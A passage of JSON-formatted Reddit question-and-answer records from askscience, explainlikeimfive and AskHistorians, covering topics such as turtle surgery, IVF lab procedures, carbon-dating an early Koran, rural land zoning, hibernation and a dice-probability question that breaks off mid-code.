him.  You could barely see where his shell had cracked.  I was amazed at the resilience of that little guy.", "I once saw pictures of a C-section performed on a tortoise that couldn't lay her eggs. The pictures showed that they cut a small square in her plastron (the down side of the shell) where her belly was, and then they took out the eggs. The piece of plastron was then put back in place and secured there until the tortoise was healed and the square was reincorporated to her body.", "Ah, finally something that I can answer! I'm a veterinarian, will be done with my surgery residency in just one year! I don't do a lot of exotic surgery but I do have knowledge in this area.\n\nAs another poster said, if we can address something endoscopically, then we will. Otherwise, we can approach the coelom of a turtle or tortoise by using something like a sagittal saw to incise a square or rectangular shaped piece of the plastron (bottom part of the shell). Once we have access, surgery is surgery as usual -- assuming for anatomic variants based on species. You then reattach the plastron, usually using wire or epoxy. In some cases, such as surgery secondary to trauma, 3D printing can be used to produce shell components that might be damaged or absent and they're attached in the same way.\n\nI haven't worked on these species in awhile. About a year ago I assisted with a tortoise penile amputation because he continued to prolapse it and was having some necrosis secondary to this problem. We intubated him routinely and monitored his heart rate and blood pressure using a Doppler. Overall was an easier anesthetic candidate (and intubation) than a dog or cat, but he took forever to wake up.", "I had a friend who was a veterinary surgeon student. She found a large frog with a mangled leg: she thought some large bird, like a hawk, had gotten hold of it and dropped it. She didn't want to leave it as it was, but thought it would be tricky to help.\n\nShe basically put it in a jar with a small amount of alcohol (probably mixed with water, but I don't remember). The frog absorbed the alcohol through its skin and went to sleep. She amputated the mangled leg, kept it for a while to heal, then let it go into the wild. She figured she had given it the best chance she could.\n\nI know OP's question was about turtles, but I figured anyone interested in surgery on a reptile might be interested in an amphibian too!", "We try to avoid it! But endoscopes work very well, and some species have very small plastrons comparatively (snappers!). The space cranial to the hind legs is a great access point too. The plastron is difficult to open and shut without ongoing issues, and if the break isn't clean, you can get coelomic contamination post-op...having said that, opening the carapace is worse. Harder to control, can't really flap it open. We try to manage everything medically, but most of my patients are vehicular traumas that are gaping open anyway. Enucleations, shell repair, amputation, and wound management is as exciting as we get. Source: run a turtle rehab program at a vet school.", "Kevin did you run over another turtle?", "they have a big bucket with turtles from where they take one that has the same size and color and give it to the owner", "I\u2019ve seen a tortoise shell repaired with meccano. This is usually for shell damage rather than after surgery (normally use glue/epoxy), but still really cool.", "If you've got a turtle that's suffering from egg binding and oxytocin injections aren't cutting it, they need to operate.  In an ideal world, surgery's done endoscopically through a hole cut in the flesh at the top of the animal's rear leg.  If that's not an option, a \"hatch\" is cut in the plastron (the turtle's undercarriage) and the operation takes place through that.  The piece of plastron is saved and reattached with epoxy later, though it will take several years to fully reconnect.\n  \n\nAlas there isn't a supply of chelonian blood like there is with humans and dogs, so you have to make sure there's as little blood lost as possible and keep their fluid levels up.\n  \n\nIt takes a /very/ long time for turtles to recover from anaesthesia and may need to stay on a ventilator for hours afterwards.  They also come out of it groggy as hell so can't be placed in water for quite some time.  Instead you can use an ultrasonic mister to effectively fog up a plastic box and keep them moist and safe.", "I worked on a boat that did some turle research and they did an incision in it's \"flipper pit\" ( can't  believe i just  wrote that) to use an arthroscope to check if the female was pregnant. Note: as you cn probably tell i wasn't doing the surgery", "I\u2019m a vet surgeon... If the surgery is on the turtle\u2019s head, tail, or little paddle feet you simply complete the surgery.\n\nIf the turtle needs surgery underneath the shell it gets a little tricky. First you sedate the turtle and then you have to use a toilet plunger to suck it out of its shell. Once you have the lil fella out you complete the surgery and stuff him back in. It\u2019s kinda like stuffing a pillow into a pillow case. You need to line up the little paddle feet with the corners of the shell. It does not always work out smoothly. Sometimes you have to shake the shell around for a while until the feet pop into the correct openings. If you accidentally put him in backwards just lie to the owners and claim the turtle always looked like that.", "i assist with laparoscopic surgeries on sea turtles regularly and we go through the soft area where their leg attaches to the shell.", "Off topic a little bit but I've worked on turtles in an Veterinary ER, mostly for cracked shells. We usd auto body repair kits to do them, and they were ood as new and very strong! I believed we used our gas tank (modified fishing tank to allow small amounts of anesthesia into the tank to sedate them like we did for very small animals and birds ect. \n\nBonus is the cure for antifreeze poisoning is straight up booze so most vet hospitals have a bottle of everclear in their drug box for those. You inject some into an IV bag a saline and get the animal blitzed. I'd usually chill in there with them on their break giving them good drunk munchies and tummy pets.", "My friend is a vet. A turtle came in that had been run over. The shell took a lot of damage, but the turtle was okay. \n\nTime for shell reconstruction. The vet had to repair the top of the shell with an epoxy. However, the turtle kept trying to walk away. This was the 80s, and the vet had no idea how to do a turtle anasthesia (the turtle had some local anasthetic though). \n\nWife came down to watch, and so the vet asked her to hold the turt still. She had a better idea. She took a cup, put it on the bench, picked up the turtle and put the turtle on the cup. \n\nThey called it the turtle anasthesia."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2jjo0y", "title": "Was the Medieval Warm Period globally warmer or just locally?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2jjo0y/was_the_medieval_warm_period_globally_warmer_or/", "answers": {"a_id": ["clct43i"], "score": [4], "text": ["The Medieval Warm period was [not a global phenomenon](_URL_0_). Some areas were warmer than the historical baseline such as the North Atlantic and eastern North America and parts of the Eurasian Arctic. Other areas were cooler such as the tropical South Pacific, Central Eurasia and Northwestern North America."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.skepticalscience.com/medieval-warm-period-intermediate.htm"]]}
{"q_id": "63yq3q", "title": "evenwel v. abbott  &  how vote diluting works", "selftext": "Okay, I've read as much as I could about the topic but something about my five-year-old knowledge on politics keeps me from understanding what everybody else in my class seems to get.\n\nFor the Evenwel v. Abbott case which argues that district populations ought to take into account only the number of registered or eligible voters residing within those districts rather than total population (including children, non-legal citizens, criminals, etc.), how exactly does that strengthen voting power of those who do vote? Why does it matter if non-voters are included or not included if decisions are made based on those who voted anyways?\n\nPlease ELI5 this really hard for me because I'm being pretty stupid right now. Thank you for your guys' help!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/63yq3q/eli5_evenwel_v_abbott_how_vote_diluting_works/", "answers": {"a_id": ["dfy2ld2"], "score": [2], "text": ["Because we live in a representative democracy.  So take an example.\n\nLA has 3 million people 1 million votes. OC has 1 million people 1 million votes. LA get 3 representatives and OC gets 1. In Congress LA gets 3 votes OC gets 1. Assuming the representatives vote in the interest of their votes LA will usually win since it has more people and more representatives assigned to it.\n\nIf we assign representatives based on voting population then both gets 2 representatives. Power has sifted but nothing happened. It is just how we count."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ajfm6r", "title": "after invitro eggs are fertilized, are they kept at a certain temperature to grow before implanted? how does the lab part work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajfm6r/eli5_after_invitro_eggs_are_fertilized_are_they/", "answers": {"a_id": ["eevfyrj", "eewdnnq", "eewerz1", "eewfdxb", "eewmtox", "eewwdw6", "eex7hw7"], "score": [1101, 516, 20, 28, 9, 9, 5], "text": ["They are incubated under optimal conditions (the correct Temperature, Oxygen levels and nutrients) , usually until a blastula is formed. at this point a cell can be removed for genetic analysis (also called  Preimplantation Genetic Diagnosis  or PGD) and the embryos can be frozen in liquid nitrogen until needed.", "Embryologist here! Once the eggs are fertilized they go back into an incubator for 5 days to grow. The incubator is kept at levels that mimic the temperature and gas concentrations of the body.  We try and leave them alone as any gas, temperature, or even light changes could effect them! The fertilized egg (called an embryo now) grows by dividing cells until it\u2019s well over 100 cells and reaches what we call the blastocyst stage. At this point it it either loaded into a really thin tube that (looks like spaghetti) and transferred back to the uterus or frozen for a transfer later! You can also do genetic testing to check for the correct number of chromosomes or screen out genetic diseases like Huntington\u2019s like someone else mentioned. ", "Been trying for a year to have a baby so my wifed gyno sent me to get a sperm analysis.  Unfortunately my count was at 5 million (dr said 15 mil is normal) so shes sending me back for another analysis in a few weeks. My worst nightmare is to nit be able to have kids. Luckily my insurance covers ivf so if it comes to this i pray to god it works", "Embryologist here, the temp is 37 degrees Celsius. Basically everything is done near body temp, from the ooctye collection (your retrieval) to the ICSI (fertilization) to where your little guys are held in the incubator until they\u2019re frozen, transferred or discarded. There\u2019s a lot of lab parts that go into it. We find the eggs, we find the sperm, we put them together, we watch them to see if they fertilize, watch them develop and deem them viable and only sometimes are the embryos biopsied (PGD), which I guarantee you more than one cell is removed. ", "Keep that pre-baby happy! Keep it moist, warm, dark and neutral (pH). Try to keep the toxic bad stuff to a minimum and cross every toe, finger and hair! I work in a lab where we do IVF on cows! It's very similar to humans, different end result.", "For what it\u2019s worth, this is  the single most common misconception. You don\u2019t implant embryos, you transfer them. If we could really implant them, success rates would\nbe close to 100% for achieving pregnancy. The body has to do its job, encouraging implantation.\n\n(3  IVFs, 2 different protocols, 1 3D transfer and 1 5d transfer, 13 total eggs retrieved, 13 total embryos, 6 embryos total transferred, 0 embryos survived to day6 freeze, 1 pregnancy, 1 live birth) ", "Sincere and heartfelt empathy towards people who have to go with IVF. My sis and her husband really wanted babies and had to go with it. It worked! Two munchkins! But the process really sucked for them, so I get it, as much as it is possible to \"get it\" as an onlooker. The hope that the process will succeed, the waiting etc is really heart melting. Hugs to all of ya!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "cgoi6n", "title": "Can someone explain in simple terms the importance of Da Vinci\u2019s Vitruvian Man?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cgoi6n/can_someone_explain_in_simple_terms_the/", "answers": {"a_id": ["eulo46e"], "score": [116], "text": ["[Da Vinci's Ghost: Genius, Obsession, and How Leonardo Created the World in His Own Image](_URL_0_)  actually goes into detail on this specific question. In a short and dirty summary: Vitruvius was a Roman architect who believed building should imitate the perfect human\u2019s dimensions - which he also gives in detail, basing every part of the human body off of the top of the smallest finger. Vitruvius also talks about using squares to represent the mundane and circles to represent the divine. \n\nIn the Middle Ages, the Vetruvian Man (i.e. this idea of a perfect human being both mundane and divine, represented in both a square and a circle) becomes a somewhat useful way to depict Jesus. Lester gives examples and pictures of paintings that have Jesus inside the circle and square, but they are often forced- often Jesus is standing straight or sideways and so the circle is smaller or the square is more rectangular in shape. \n\nDa Vinci does two things with his Vitruvian Man. Firstly, he places the body in motion - one pose making the square (feet straight and arms out) and one pose making the circle (the jumping jack pose). Secondly, and far more importantly, his Vitruvian Man isn\u2019t Jesus. Da Vinci instead draws a self portrait, by extension claiming that he, a mortal, contains both the divine and mundane. Lester continues by saying that since all things in the universe are made up of divine and mundane things, if we humans possess both qualities as the Da Vinci\u2019s rendition claims, we humans possess the ability to understand all things in the universe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.amazon.com/dp/1439189242/ref=cm_sw_r_cp_api_i_EC0nDbN0A4AQF"]]}
{"q_id": "26r36k", "title": "How exactly does Stroop effect work in everyday life?", "selftext": "I guess I don't fully understand it anyways, so it's fairly difficult to me to understand it's usual effects on everyday life.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26r36k/how_exactly_does_stroop_effect_work_in_everyday/", "answers": {"a_id": ["chtu7qw", "chufnz0"], "score": [3, 3], "text": ["it doesn't really have any presence in everyday life; the Stroop task is a laboratory test.\n\nrather than having day-to-day relevance, the Stroop task is used (typically as part of a battery of tests) to measure general cognitive function and control, since to perform well on such a task, a subject needs to devote a good amount of attention to their own performance, suppressing certain responses and allowing others through. it's easy to teach a subject to perform the task, even if they have serious cognitive deficits, and the subject's performance is then easy to measure and quantify.\n\nthe task is important theoretically since a computational theory of neural processing of e.g. word meaning and object attributes should, if on the right track, naturally produce a Stroop effect.", "The Stroop effect is an automatic process (reading) interrupting a controlled process (naming the colour). Viewed simply as this slip, the Stroop effect happens fairly regularly in daily life: driving home and forgetting to pick something up or turning on your laptop and opening up Reddit instead of your assignment. This may be a slight stretch of the task but I hope it helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3j51hw", "title": "Carbon dating suggests \u2018world\u2019s oldest\u2019 Koran could be older than the Prophet Muhammad", "selftext": "[This](_URL_0_) is making the rounds around reddit and social media today.  I'd love to know what some history experts think.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3j51hw/carbon_dating_suggests_worlds_oldest_koran_could/", "answers": {"a_id": ["cumjgxr", "cumcu6m"], "score": [22, 624], "text": ["Basic point about radiocarbon dating: the dates reported represent a probability of one standard deviation that the material being dated is so old. Therefore, the probability that the pages date between 568 and 645 A.D. is most likely only 68% (they don't report whether the range represents one standard deviation or less or more). This means that there is a chance the pages are not actually dated to any moment within that date range. The probability is low, but it does exist. I would not have drawn the conclusion that this document was written early based solely upon this radiocarbon date. In fact, I would have concluded that the document fits in remarkably well with the dates known from the historical record. Radiocarbon dating isn't precise, but man they got really close to a known historic date here!", "There are a few cautions to note, and one glaring issue that, to my mind, debunks the entire argument. Let's start with the glaring issue:\n\n > Keith Small, of Oxford\u2019s Bodleian Library, cautioned that carbon dating was done only on the Koran\u2019s parchment and not its ink...\n\nThat sentence is reason to discredit the entire argument, because it means that it's the leather that the text is written on, and not the writng itself, that might possibly be older than Mohamed. The age of the parchment doesn't necessarily predict the age of the writing: there is no reason why the text might not have been written in 650 on 5-year-old vellum (or 695 on a 50-year-old manuscript). In fact, if the parchment were not locally produced (and, given that pre-Islamic Arabia did not have large writing centers, importing parchment is not unreasonable), it might well have taken years to reach the scribe who wrote on it. Before *any* argument can be made, the ink also needs to be dated. It was irresponsible for the scholars stying the manuscript to talk to the press before completing testing, and their quickness to argue that the parchment's age brings everything we know about Islam's origins into question makes me wonder if they're a little bit more interested in debunking the religion than they are in making a careful study of their evidence. (Or perhaps the reporter is quoting them out of context to make the story more sensational.)\n\nThat glaring issue aside, there's still reason to doubt the article's claims. C14 dating for the seventh century is very unreliable - to grossly oversimplify, the closer the period we're dating is to the present, the less accurate we can be. You usually only see precisions of about +/- a century, so the 77 year window the article gives strikes me as perhaps a little more precise than can be certain. I'd bet there's a low probability attached to it (not the 95% confidence you get with a wider date range). It's possible that they used a newer, more accurate calibration method to get a tighter window, or took multiple samples to narrow the range. But I wouldn't be surprised if the dates were off by half a century. Carbon dating is a great tool for narrowing down a date range (ie, is this desd body Roman or medieval?), but it's not good for precision work like this.\n\nEven if the dates are accurate, though, they do not actually put the book before Mohamed's life: they indicate that the parchment dates to some date between 568 and 645, and a date at the late end of the range is perfectly in line with the scientific evidence. If the parchment came from 645, that puts it 5 years before the probable compilation of the Quran. Given the fact that the parchment may well have been a few years old at the time of writing, that would make this a very, amazingly early copy of the text, as close as we could hope to get to a first edition. But that doesn't disprove anything - if the accepted narrative is correct, there *were* first editions made in the middle of the seventh century, when this book was probably written. We just never expected to be able to find one of them still intact.\n\nThere are other technical questions that could be asked: what C14 methods did they use? How were the dates calibrated? Small variations in procedure and methods can skew results by decades or more, so all else aside, this test is not necessarily the final word.\n\nIn sum: we need to wait until we have more data to know for sure that the dating of the written text - and not just the parchment it was written on - actually falls within the range given in the article. Even if it does, given the error associated with using C14 to date recent artifacts, that date range is not incompatible with our current understanding of the compilation of the Quran. I'm not at all convinced by this."]}, "title_urls": [], "selftext_urls": ["https://www.rawstory.com/2015/08/carbon-dating-suggests-worlds-oldest-koran-is-even-older-than-the-prophet-muhammad/"], "answers_urls": [[], []]}
{"q_id": "a65cqb", "title": "According to this Wikipedia article, the Tsesarevich and future Tsar Nicholas II got a dragon tattoo on his arm during his 1891 trip to Japan. Was this a permanent tattoo? Why did he get it? How was this viewed by Russian and European society?", "selftext": "_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a65cqb/according_to_this_wikipedia_article_the/", "answers": {"a_id": ["ebtreis"], "score": [23], "text": ["Are there any clearer pictures of it anywhere than this one? I'd love to see it in more details if anyone knows if such a thing exists. _URL_0_"]}, "title_urls": [], "selftext_urls": ["https://en.m.wikipedia.org/wiki/\u014ctsu_incident"], "answers_urls": [["http://photobucket.com/gallery/user/tsarskoe/media/bWVkaWFJZDoxMjQ1Mjg0NA==/?ref="]]}
{"q_id": "nzq2f", "title": "As oxygen is produced by photosynthesis, is the proportion of atmospheric oxygen lower in urban centers? If so, how much lower, and does it affect human health?", "selftext": "It seems logical that it would be.  I did some research myself using University of Google, but so much of what I found was from unreliable quack health sites that I thought I'd ask the experts. :)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nzq2f/as_oxygen_is_produced_by_photosynthesis_is_the/", "answers": {"a_id": ["c3d9lu8", "c3d9qr4", "c3d9xwj"], "score": [25, 4, 4], "text": ["Yes it does, but if you measure it accurately, you will find that there will be more oxygen near water and on water compared to land, due to algae and photosynthesizing bacteria, and especially phytoplankton which produce quite a considerable sum of oxygen.\n\nHowever, the proportions of oxygen in cities to countryside vary so much as you have to take into account a whole range of factors, including, and not limited to: pollution by cars, industry, people, buildings, materials in the city, bodies of water, temperature, wind etc.  and is the reason why you will never get a exact answer, because it is so variable. ", "While I was unable to find an answer to your question I was able to find a relatively [simple experiment](_URL_0_) for measuring atmospheric O2.  If you could get a crowd source thing together on reddit you might be able to figure out the answer yourself.\n\nBut is the experiment precise enough to see the small differences you're looking for?  And even if it is precise enough the accuracy of the trials would be affected by equipment, and differences in sea level so that would all need to be standardized and corrected for.  Anyway, sorry I can't be of more help.", "I know I've read some stuff about [ozone in urban centers](_URL_0_)... and lots of stuff about \"microclimates\" caused by the way [pavement absorbs  &  releases heat](_URL_1_). \n\nSo things *other* than (breathable) oxygen definitely accumulate around urban centers. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.sciencebuddies.org/science-fair-projects/project_ideas/Weather_p004.shtml"], ["http://www.sciencedirect.com/science/article/pii/S0378778896009991", "http://en.wikipedia.org/wiki/Urban_heat_island"]]}
{"q_id": "14cjni", "title": "who is this mcafee guy and why is he on the run?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/14cjni/eli5_who_is_this_mcafee_guy_and_why_is_he_on_the/", "answers": {"a_id": ["c7bu65z"], "score": [3], "text": ["He is a multi-millionaire who founded the McAffee anti-virus software company.\n\nHe is suspected of murdering a neighbor who may have poisoned his dogs.\n\nHe claims the authorities in Belize demanded bribed he refused to pay, and now they are framing him. \n\nAlso, he is no longer on the run.  He turned up in Guatemala, and is requesting sanctuary."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vrmh7", "title": "what makes a \"bad school\" bad?", "selftext": "What makes a \"bad school\" bad?  I know schools are funded on property taxes and all teachers need the same education and continuing ed to become teachers, so what specifically makes a school bad?  Is it factors outside of the school, like parental involvement?\n\nI used to think people saying an elementary or high school was \"bad\" was a disguised way of saying there are a lot of minorities at it.  Is this accurate?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2vrmh7/eli5what_makes_a_bad_school_bad/", "answers": {"a_id": ["cokaiq0", "cokamss", "cokbh4w", "cokc9zp", "cokkwua", "cokmq4a", "coko1w3"], "score": [49, 3, 21, 29, 4, 6, 3], "text": ["There are several factors, but a lot of it boils down to money.\n\nA school in a poor community might not get the same funding as a school in a rich community, as property taxes will be lower. This has far reaching consequences, as underfunded staff and underfed students will not perform at a higher level.\n\nA school in a bad part of town will have more trouble recruiting the best teachers. Nicer schools are more likely to get the best teachers applying to work there, and may be able to offer them better benefits or a nicer working environment.\n\nA school with a bad reputation will drive away the best students. Parents ate picky when moving to an area, and will buy a house in a better district if possible.\n\nParental involvement is a possibility, though the differences between a parent population that works constantly and a parent population that is absent/apathetic is trivial. Both types of parenting will show up at any school. ", "From my experience as a teacher it is usually one of several factors that create a feedback loop.  Parents that don't care lead to students that don't care that leads to teachers that don't care that leads to parents that don't care.  Students that don't behave leads to administration that cracks down that leads to students that feel oppressed and don't behave.  \n\nReally you need everyone involved to care about education, parents, students, teachers and the community and not just tied disinterested people trying to get through another day.  ", "In the UK all students are funded the same since the changed by Thatcher in the 1980s. Previously funding was based on if you knew the local education authority leader and if you played golf with them.\n\nBut a bad school is characterised by the government inspectors OFSTED.\n\nThey can score 1-4 (1 outstanding, 2 good, 3 adequate, 4 inadequate). \n\nGenerally it is a combination of the grades achieved\nThe working environment\nIf the paperwork is all in order\nThe learning environment\nBehavioural issues.\n\nThe problem is schools will fiddle the above figures. Expulsion looks REALLY bad so they don't do it. There is so much paperwork teachers will often be behind on it. There is also a best behaviour now children type attitude when inspectors come.\n\n\nA big part of it is that bad schools ranked 3 or lower can't attract good teachers which creates a downward cycle. Or there is a culture of entrenchment... only X more years until my pension. I remember one I had when I was 12 he came into the classroom and said you're all failures and you all won't amount to shit (yes he did say shit). He then sat down at the front of the class put some music into his headphones and put some work if you wanted to do it on a side desk.\n\nHe'd mark the work done but he was basically unsackable and would happily take the piss. IIRC he was sacked for gross misconduct after he had sex with a student who was 1/4 his age.\n  ", "The quality of a school is overwhelmingly tied to the quality of the students.\n\nA student from a stable middle class family has excellent prospects and tends to pass those prospects on to the students around them.  A student from a broken, impoverished family bouncing through the social service system has terrible prospects - and passes those terrible prospects on to the students around them.\n\nSo what happens is that a school system starts to get 'too many' of the latter type of students and the parents of the former type start moving away to find better schools.  This process eventually yields a school where almost all of the students are from a background that makes success extraordinarily difficult.", "* Teachers who don't care and do not take the initiative.\n* Students who don't learn, bullies, Mean Girls.\n* Administrators who let those teachers and students stay in school.", "It's really easy to make a bad school.  The question is what makes a good school\n\n1. Good administrators who actually care, don't shift blame, and don't suck all the school's limited money into their own paycheck and benefits.  This includes the on-premise administrators as well as the school district administrators.\n\n2. Teachers that care about doing a good job.  \n\n3. A student population that isn't horribly, horrible broken due to poverty and substance abuse problems in the surrounding community.\n\n4. Parents that care enough to be involved, but aren't knee-jerk lawyer-up blame shifters.\n\n5. Money.  Sufficient to teach the students and not wasted on iPads or new sports facilities when vital infrastructure is being neglected.\n\nIf any one of those factors is bad, it can make a school bad.", "I bet this isn't a unique situation, but I went to a bad and good school.   \nI live in UK, and went to a 'Grammar' school' (this was in the 80's). To get into one you had to pass an exam called the 11+, which broadly said you were more intelligent than the average. But this school was mixed. The top 3 classes worth of kids, who passed the 11+ exam were put in alpha, 6 classes of regular, and 1/2 classes of 'remedials' (who ate glue and got to watch TV as a class)....    \nReally, the school had airs of being great, but was open to anyone in the catchment area.    \nBut the upshot was...    \nThe 'top' classes were great, we got a really decent education, and the 'regular' classes were thugs, thieves and hooligans.    \nNow, I can say I went to [x] school and have 2 outcomes, I can say I went to the grammar part, and people know I had a good education, or I can just say I went there and and our reputation for being the hardest school around can give me the the air of having been in prison, and I have used that to my advantage on a few occasions"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "c0moda", "title": "Were Italian military units as bad as today\u2019s reports suggest? Was it really difficult for them to conquer Ethiopia?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c0moda/were_italian_military_units_as_bad_as_todays/", "answers": {"a_id": ["er63jzf"], "score": [5], "text": ["Not to discourage any further discussion on the subject (as there is always more to say), but here are some previous threads that may address your question:  \n[How Truly Incompetent was the Italian Military](_URL_1_) by u/Klesk_vs_Xaero  \n[Why was the Italian Military so Incompetent?](_URL_2_) by u/Smoked_Peasant  \n[Why was the Italian Military so Pathetically Inept?](_URL_0_) (User deleted)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/2vp9s4/why_was_the_italian_army_so_pathetically_inept/", "https://www.reddit.com/r/AskHistorians/comments/9rphhl/how_truly_incompetent_was_the_italian_military/", "https://www.reddit.com/r/AskHistorians/comments/8bbu49/why_was_the_italian_military_so_incompetent/"]]}
{"q_id": "2zjwvn", "title": "in countries with a lot of rural countryside, e.g. rural canada/australia/us mountain states, how does house building work? can anyone apply to buy a small plot of land and make a house?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2zjwvn/eli5_in_countries_with_a_lot_of_rural_countryside/", "answers": {"a_id": ["cpjl7bs", "cpjlkq7", "cpjltn0"], "score": [4, 7, 3], "text": ["Sure. Just buy some residential zoned property and submit your plans to the local government. Provided it makes sense (you aren't trying to build a house in an area zoned commercial, or the proposed structure is out of code) it should be approved without issue.", "Assuming by \"rural\" you mean not in any city or town: In America you can buy any plot of land that is for sale that you can afford, no application required. Building on it on the other hand is subject to various regulations by a plethora of government agencies. In unincorporated areas the regulations are minimal - no raw sewage dumped into streams, electrical system meets code before utility company will connect, etc. Other rural areas will have \"county-wide planning and zoning\" which is as restrictive as any city regulations. \nThere are a lot of places though, that you can buy a parcel, build a house on it, and if you use solar panels and an outhouse, wont need a single permit. ", "It depends. I'm going to talk about Canada, because that's the country I know.\n\nThere are three types of rural (non-urban) land. Private land, Public land and Crown land.\n\n* Private land is, well, private. It's own by an individual or group of individuals and it is theirs to do with as they will (within the law).\n* Public land is land owned by local governments or is otherwise open to the general public during reasonable hours (government offices, parks, etc).\n* Crown land is generally far out into the country and while technically being public land, is the term used to describe public land that is not actively used/domesticated. This would be forests, massive parks, etc.\n\nAssuming you own the land, it needs to be residential. For instance, you can't buy a downtown store and make it into a house. But that's off topic. Almost all land in the country is residential, except for the occasional cement plant or factory which is industrial.\n\nAssuming the land is residential, you need to check to see if the land is part of a greenbelt.\n\nGreenbelts are areas where the government has decided the land is going to be dedicated to agriculture and the building of structures is restricted.\n\nIf you are outside of a Greenbelt, you submit your plans for building a house/large structure and they get approved/disapproved based on the regulations of your area.\n\nIf you are inside a Greenbelt (such as myself) then you have to figure out what you can build. For instance, in my area you can't build any new structures. You can rebuild existing ones, but you can't build brand new houses/barns and you can't sever land. Meaning that you have to buy the whole parcel, you can't just buy 10 acres off the end of a 58 acre farm (unless with government permission which is rare and hard to get).\n\nAssuming that you buy the land, you have to know what structures are allowed. For instance, my family's farm has a house and two barns. Meaning that we can tear those down and replace them but we can only have a single house, and at maximum two barns. Those specifications don't mean much because you can make a structure that is technically a barn, but has bedrooms, running hot and cold water, a kitchen, etc.\n\nSo, in short. If it's generic private residential land, you can buy/sell/sever as you please and submit plans for whatever structures you please.\n\nIf it's private, residential greenbelt land, you can buy/sell as you please and can only submit plans that allow for building structures allowed on your property."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "27oeiq", "title": "Can an animal in hibernation be woken up? If so, can they go back to sleep straight away or will you have ruined their sleep cycle?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27oeiq/can_an_animal_in_hibernation_be_woken_up_if_so/", "answers": {"a_id": ["ci2uv4f", "ci2w33f", "ci35k81", "ci38b3v"], "score": [6, 6, 3, 5], "text": ["Yes, though they take rather longer to wake up than you would on a Monday morning. In fact, most animals that hibernate do have wakeful periods during the hibernation.  They can then go back to sleep without problems.", "Hibernation isn't really sleeping for months straight as you might have learned as a kid.  A comparison would be a human who normally sleeps say 8 hours a day instead sleeping 18 hours a day in order to conserve energy.", "In some bat species it can be harmful to wake them and could decrease chances of survival in the spring. An unnecessary arousal can deplete energy stores. There isn't really anything for bats to feed on in the winter so fat is limited. \nThere is better sources out there but this is concise. (_URL_0_) ", "The answer partly depends on how you define hibernation (i.e. do you lump in diapause, aestivation, serial torpor, brumation).  Some animals, like a black bear, can \"wake up\" fairly quickly (2-10 minutes) and go back to hibernating later, while for others, like many bat species, waking up can be slower and more detrimental, though becoming active is energetically costly for the bear, too.  Some smaller mammals need to rouse themselves regularly from hibernation and engage in multiple torpor sessions dotted with periods of activity when they perform some function, like warming up, feeding, or excreting waste. On the other hand, many animals need particular conditions (e.g. temperature and/or photoperiod) in order to be roused and come back to a temperature and metabolic rate that allows them to function, and may die if you reverse the conditions.\n  \nIn short, large variation exists.  For some animals, it would be a major disruption or even fatal.  For some it would be more of a minor, but significant annoyance.  For others, it may just be a bit earlier than they would have woken anyway.  For many species for which it is survivable, the size of the effect of waking an individual of that species will be a function of its body condition.  \n\nIf you are interested in a good and readable book relevant to this question and written by a reputable professor, check out Bernd Heinrich's Winter World.  In it Heinrich touches on the winter adaptations of many animals, including species demonstrating several hibernation-related strategies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.mnr.gov.on.ca/stdprodconsume/groups/lr/@mnr/@fw/documents/document/269068.pdf"], []]}
{"q_id": "ffj6yr", "title": "What is the probability that a rolled d10 has a higher role than two d20's?", "selftext": " I'm in need of a good statistics mathematician.\n\nI was rolling some dice playing DnD and was wondering how to figure out this question about probabilities.\n\nIf I roll 2 D20's and 1 D10 what is the likely hood that the D10 roll is a higher number than both the D20's (indivudally, not combined).\n\nFor example, one d20 is a 5, the other d20 is a 6 and the d10 is a 7.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ffj6yr/what_is_the_probability_that_a_rolled_d10_has_a/", "answers": {"a_id": ["fjz2ofs", "fjzdmxc", "fjzef80", "fjzjoyb", "fjzrm7p", "fk3ithe"], "score": [9, 5, 3, 42, 2, 6], "text": ["I'm a computer scientist, and while you can calculate this mathematically using combinatorics (and I hope someone here will do just that for you), I'm _immensely_ lazy, and am happy to let the machine calculate this for me.\n\nAlgorithmically, all that we have to do is simulate all possible combinations of rolls between one d10 and two d20s, and total up the number of times the d10 sum is greater than either d20 sum.  It's easy to see that this is quickly computable, as the total number of possibilities is ````10 * 20 * 20 = 4000````, so we only need to compute 4000 possible different dice rolls to generate all possible rolls.\n\nHere is a quick C program that computes all possible rolls between the three dice, and outputs the probability that a d10 will have a higher roll than a d20:\n\n    #include  < stdio.h > \n    \n    int main(int args, char** argv) {\n  